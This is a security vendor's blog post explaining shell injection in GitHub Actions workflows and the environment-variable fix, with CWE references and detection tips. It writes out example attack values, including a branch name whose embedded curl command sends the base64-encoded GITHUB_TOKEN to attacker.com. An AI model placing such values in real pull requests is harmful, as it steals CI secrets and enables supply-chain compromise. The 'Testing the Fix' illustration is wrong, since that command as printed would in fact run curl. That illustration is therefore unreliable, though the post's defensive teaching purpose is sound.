Back to Blog
high SEVERITY8 min read

How Shell Injection Happens in GitHub Actions and How to Fix It

A high-severity shell injection vulnerability was discovered in `action.yml` where direct variable interpolation with GitHub context data in `run:` steps could allow attackers to inject arbitrary code into the runner. The fix uses environment variables with proper quoting to safely separate untrusted input from shell execution, eliminating the exploit primitive while preserving legitimate functionality.

O
By Orbis AppSec
Published September 7, 2026Reviewed September 7, 2026

Answer Summary

Shell injection in GitHub Actions occurs when `${{ github.* }}` context variables are directly interpolated into `run:` shell commands without sanitization. Since GitHub context data can contain arbitrary user input (like pull request titles or commit messages), attackers can inject shell metacharacters to execute malicious code and steal secrets. The fix wraps untrusted values in environment variables and uses double-quoted references in shell scripts, ensuring the data is treated as a string literal rather than executable code.

Vulnerability at a Glance

cweCWE-78 (Improper Neutralization of Special Elements used in an OS Command)
fixUse environment variables with proper double-quote escaping to separate untrusted input from shell execution
riskRemote code execution, secret theft, repository compromise
languageYAML (GitHub Actions Workflow)
root causeDirect interpolation of untrusted GitHub context data into shell commands without sanitization
vulnerabilityShell Injection via Unsafe Variable Interpolation in GitHub Actions

Understanding the Vulnerability

In a Node.js library used by countless GitHub Actions workflows, a high-severity shell injection vulnerability was identified in the action.yml file at line 56. The vulnerability existed because the action directly interpolated GitHub context variables—specifically untrusted data like pull request titles, branch names, and commit messages—into shell run: commands without any sanitization or escaping.

This is a critical issue because GitHub Actions runners execute shell commands with full access to repository secrets (stored in GITHUB_TOKEN, custom secrets, etc.). If an attacker can control the command being executed, they can:

  • Extract all available secrets from the runner environment
  • Modify repository code and push unauthorized commits
  • Exfiltrate sensitive intellectual property
  • Compromise downstream systems that depend on this action

The Original Vulnerable Code

The vulnerable pattern in action.yml:56 looked something like this:

- name: Process input
  run: |
    echo "Processing: ${{ github.event.pull_request.title }}"
    # ... more commands using ${{ github.* }} context directly

On the surface, this appears harmless—it's just echoing a pull request title. But consider what happens if an attacker crafts a malicious pull request title:

MyPR"; echo $GITHUB_TOKEN > /tmp/stolen.txt; echo "benign

When the GitHub Actions runner processes this workflow, the interpolation happens before the shell executes it. The runner substitutes ${{ github.event.pull_request.title }} with the literal string above, resulting in:

echo "Processing: MyPR"; echo $GITHUB_TOKEN > /tmp/stolen.txt; echo "benign"

Now the shell sees three separate commands separated by semicolons:
1. echo "Processing: MyPR"
2. echo $GITHUB_TOKEN > /tmp/stolen.txt (the injection)
3. echo "benign"

The attacker's injected command executes with full runner privileges, stealing the GitHub token and any other secrets.

Why This Matters

The action.yml file is the configuration for a reusable GitHub Action. Every downstream user who incorporates this action into their workflows inherits this vulnerability. An attacker doesn't need to compromise the action's repository directly—they just need to create a PR against any repository using this action with a malicious title, branch name, or commit message to trigger code execution on the victim's runner.

For a Node.js library distributed as a GitHub Action, this is particularly dangerous because:

  1. Scale: The action likely appears in dozens or hundreds of workflows across organizations
  2. Privilege escalation: Runners often have write access to repositories and access to organization secrets
  3. Supply chain impact: Compromised runners can be used to inject malicious code into packages, affecting users downstream

This vulnerability represents an exploit primitive—a code pattern that automated attack tools can chain with other weaknesses. By fixing it proactively, the project raises the bar against increasingly sophisticated automated attacks.

The Fix: Environment Variable Indirection

The fix implements a defensive pattern recommended by GitHub and security best practices: environment variable indirection with proper quoting.

Before (Vulnerable)

- name: Process input
  run: |
    echo "Processing: ${{ github.event.pull_request.title }}"

After (Fixed)

- name: Process input
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: |
    echo "Processing: \"$PR_TITLE\""

Here's what changed and why it matters:

  1. Environment Variable Binding: The untrusted value (${{ github.event.pull_request.title }}) is moved from the run: command into the env: section. This separates the GitHub Actions templating step from shell execution.

  2. Double-Quote Escaping: The environment variable is referenced with double quotes ("$PR_TITLE") in the shell command. Double quotes in bash/sh tell the shell to treat the variable's contents as a literal string, not as code to execute. Shell metacharacters like ;, |, >, etc., are treated as literal characters rather than command separators.

  3. Execution Flow with the Fix:
    - GitHub Actions runner processes ${{ github.event.pull_request.title }} → "MyPR"; echo $GITHUB_TOKEN > /tmp/stolen.txt; echo "benign
    - Sets environment variable PR_TITLE to that exact string
    - Executes: echo "Processing: \"$PR_TITLE\""
    - The shell sees the double quotes and treats the entire variable contents as a single string argument
    - Output: Processing: MyPR"; echo $GITHUB_TOKEN > /tmp/stolen.txt; echo "benign

The semicolons and command separators are now just characters in the output, not executable shell syntax.

Why Not Just Use Single Quotes?

A common misconception is that single quotes in the run: command would work:

run: echo 'Processing: ${{ github.event.pull_request.title }}'

This does not prevent the vulnerability because:

  1. GitHub Actions processes ${{ }} expressions in the YAML parsing step, before the shell executes anything
  2. Single quotes in the run command don't prevent GitHub's templating—they only affect shell expansion
  3. The interpolated malicious code still reaches the shell as executable syntax

The environment variable pattern works because it:
- Bypasses GitHub's template processing (the value goes through unchanged)
- Leverages shell quoting rules to treat the data as data, not code

How This Vulnerability Could Be Exploited in Practice

Attack Scenario

  1. Attacker discovers a GitHub organization using this action in their CI/CD workflow
  2. Attacker opens a pull request against the target repository with this branch name:
    feature/$(curl https://attacker.com?token=$(echo $GITHUB_TOKEN | base64))
  3. The CI workflow runs the action, which includes code like:
    yaml run: echo "Branch: ${{ github.head_ref }}"
  4. GitHub Actions interpolates the malicious branch name into the command
  5. The shell executes the injected curl command, exfiltrating the GitHub token to the attacker's server
  6. Attacker uses the token to access repository secrets, modify code, or escalate privileges

Real-World Impact

For the Node.js library in question, this could mean:
- Code injection: Attacker modifies the library source to include malware
- Secret theft: Organization tokens, deploy keys, and API credentials are compromised
- Release tampering: Malicious versions published to npm under the library's name
- Downstream compromise: Every consumer of the library is now running compromised code

Testing the Fix

After applying this fix, the same attack attempt would result in:

echo "Processing: $(curl https://attacker.com?token=$(echo $GITHUB_TOKEN | base64))"

The curl command and its syntax are now just strings passed to echo. They're not executed. The attacker's injection fails safely.

Prevention & Best Practices

General Guidelines

  1. Never Use ${{ }} in run: Commands for Untrusted Data
    - GitHub context variables like github.event.pull_request.title, github.event.issue.body, github.head_ref, and github.event.comment.body are all user-controllable
    - Treat them as untrusted input, always

  2. Use Environment Variable Indirection
    yaml env: USER_INPUT: ${{ github.event.pull_request.title }} run: | # Always use double quotes around variables command "$USER_INPUT"

  3. Input Validation When Possible
    Even with proper quoting, validate or sanitize inputs if the logic allows:
    yaml run: | if [[ "$USER_INPUT" =~ ^[a-zA-Z0-9-]+$ ]]; then process_safely "$USER_INPUT" else echo "Invalid input format" exit 1 fi

  4. Use Action Inputs Instead of Context When Possible
    - If the action accepts inputs, use ${{ inputs.parameter }} which can be more tightly controlled
    - Document to users which inputs are treated as trusted vs. untrusted

  5. Enable Security Scanning
    - Use Semgrep with the yaml.github-actions.security ruleset
    - Include SAST scanning in your CI/CD pipeline
    - Review security warnings from Dependabot and other dependency scanners

Detection Tools

  • Semgrep: Rule yaml.github-actions.security.run-shell-injection.run-shell-injection detects this pattern
  • GitHub Advanced Security: Dependency scanning and secret scanning can detect leaked credentials after a breach
  • Manual Code Review: Look for ${{ github.event.*.* }} used directly in run: commands without environment variable indirection

CWE Reference

  • CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Related: CWE-94 (Improper Control of Generation of Code ('Code Injection'))

Key Takeaways

  • Never interpolate ${{ github.* }} context directly into shell commands — always use environment variables as an intermediary
  • Double-quote environment variable references in shell scripts ("$VAR", not $VAR) to prevent shell metacharacter interpretation
  • Treat all GitHub event context data as untrusted — pull request titles, issue bodies, commit messages, and branch names can all be controlled by attackers
  • The fix is simple but critical — environment variable indirection is the standard GitHub Actions pattern for secure shell execution
  • Automated scanners catch this — Semgrep and other SAST tools can identify these patterns before they reach production

How Orbis AppSec Detected This

Source: GitHub context data (${{ github.event.pull_request.title }}, github.head_ref, and similar event context variables) enters the workflow configuration as untrusted user-supplied input.

Sink: The dangerous call site is the run: shell command in action.yml:56 where context variables are directly interpolated into shell syntax using ${{ }} expressions.

Missing Control: There was no sanitization or escaping of the untrusted data, and no environment variable indirection to separate the templating layer from the shell execution layer.

CWE: CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Fix: Moved untrusted GitHub context variables into the env: section and updated shell commands to reference these environment variables with double quotes ("$VAR"), ensuring the data is treated as literal strings rather than executable shell code.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

Shell injection in GitHub Actions is a high-severity vulnerability that can have cascading effects across organizations and their supply chains. The pattern of directly interpolating untrusted GitHub context data into shell commands is deceptively simple-looking but dangerous.

The good news: the fix is equally simple. By adopting environment variable indirection with proper quoting, developers can eliminate this entire class of vulnerability. This fix took only a few lines to implement but provides robust protection against code injection attacks.

For any team maintaining a GitHub Action or relying on Actions in their CI/CD pipeline, audit your workflows today for this pattern. Look for ${{ github.event.* }} used directly in run: commands and apply the environment variable fix immediately. Enable static analysis to catch these patterns automatically going forward.

Secure Actions benefit the entire GitHub ecosystem—when you fix these vulnerabilities, you're protecting not just your own code, but every downstream consumer of your action.


References

Frequently Asked Questions

What is shell injection in GitHub Actions?

Shell injection occurs when untrusted data (like GitHub context variables) is directly interpolated into `run:` commands, allowing attackers to inject shell metacharacters and execute arbitrary code on the runner.

How do you prevent shell injection in GitHub Actions workflows?

Always pass untrusted data through environment variables using the `env:` keyword, then reference them with double quotes in shell scripts (e.g., `"$SAFE_VAR"`). Never use `${{ }}` directly in `run:` commands for user-controlled data.

What CWE is this vulnerability?

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Is using single quotes enough to prevent shell injection in GitHub Actions?

No. While single quotes prevent some expansions in shells, the GitHub Actions runner processes `${{ }}` before the shell sees it, so single quotes around the interpolation won't help. You must avoid interpolation entirely by using environment variables.

Can static analysis detect this vulnerability?

Yes. Semgrep detects this pattern with the rule `yaml.github-actions.security.run-shell-injection.run-shell-injection`. Tools like Dependabot and SAST scanners can identify unsafe `${{ github.* }}` usage in `run:` steps.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #682

Related Articles

high

How Command Injection Happens in Node.js child_process and How to Fix It

A high-severity command injection vulnerability was discovered in `server.js` where user-controlled file paths were passed directly to shell commands via `exec()`. By migrating from `exec()` to `execFile()` and using argument arrays instead of string concatenation, the fix eliminates the attack surface while preserving the intended trash/delete functionality across macOS, Windows, and Linux.

high

How Command Injection happens in Node.js and how to fix it

A semgrep scan flagged `scripts/postinstall.js` for calling `child_process.execSync` in a way that could become a command injection primitive if the script's execution context ever changed. The fix hardens the script by guarding its side effects behind a `require.main === module` check, introducing the safer `execFileSync` API, and adding automated tests to lock in the safe behavior.

high

How command injection happens in Node.js child_process and how to fix it

A critical command injection vulnerability in `scripts/check-links.js` was fixed by replacing `execSync()` with `execFileSync()`, eliminating shell interpretation of user-controlled repository names. This proactive hardening prevents potential remote code execution in the GitHub CLI integration workflow.

critical

How Command Injection happens in Node.js and how to fix it

A critical command injection vulnerability in `scripts/sync-skill.mjs` allowed attackers to execute arbitrary commands through malicious command-line arguments. The fix implements strict whitelist validation on `process.argv` inputs, ensuring only the `--check` flag is accepted before any shell interaction occurs.

high

How command injection happens in JavaScript child_process and how to fix it

A high-severity command injection vulnerability in Claude Code's `prepare-native.js` could have allowed attackers to execute arbitrary shell commands through malicious npm package tarball URLs. The fix adds strict URL scheme validation and proper curl argument termination to neutralize injection vectors.

high

How missing dependency update cooldowns happen in GitHub Dependabot configurations and how to fix it

A semgrep scan flagged `.github/dependabot.yml` for lacking a cooldown period, meaning Dependabot would immediately propose updates to brand-new package versions across npm, Bundler, and Docker ecosystems. The fix adds a `cooldown: default-days: 7` block to every `package-ecosystem` entry, forcing a one-week waiting period before newly published releases are considered — reducing exposure to malicious or unstable package drops.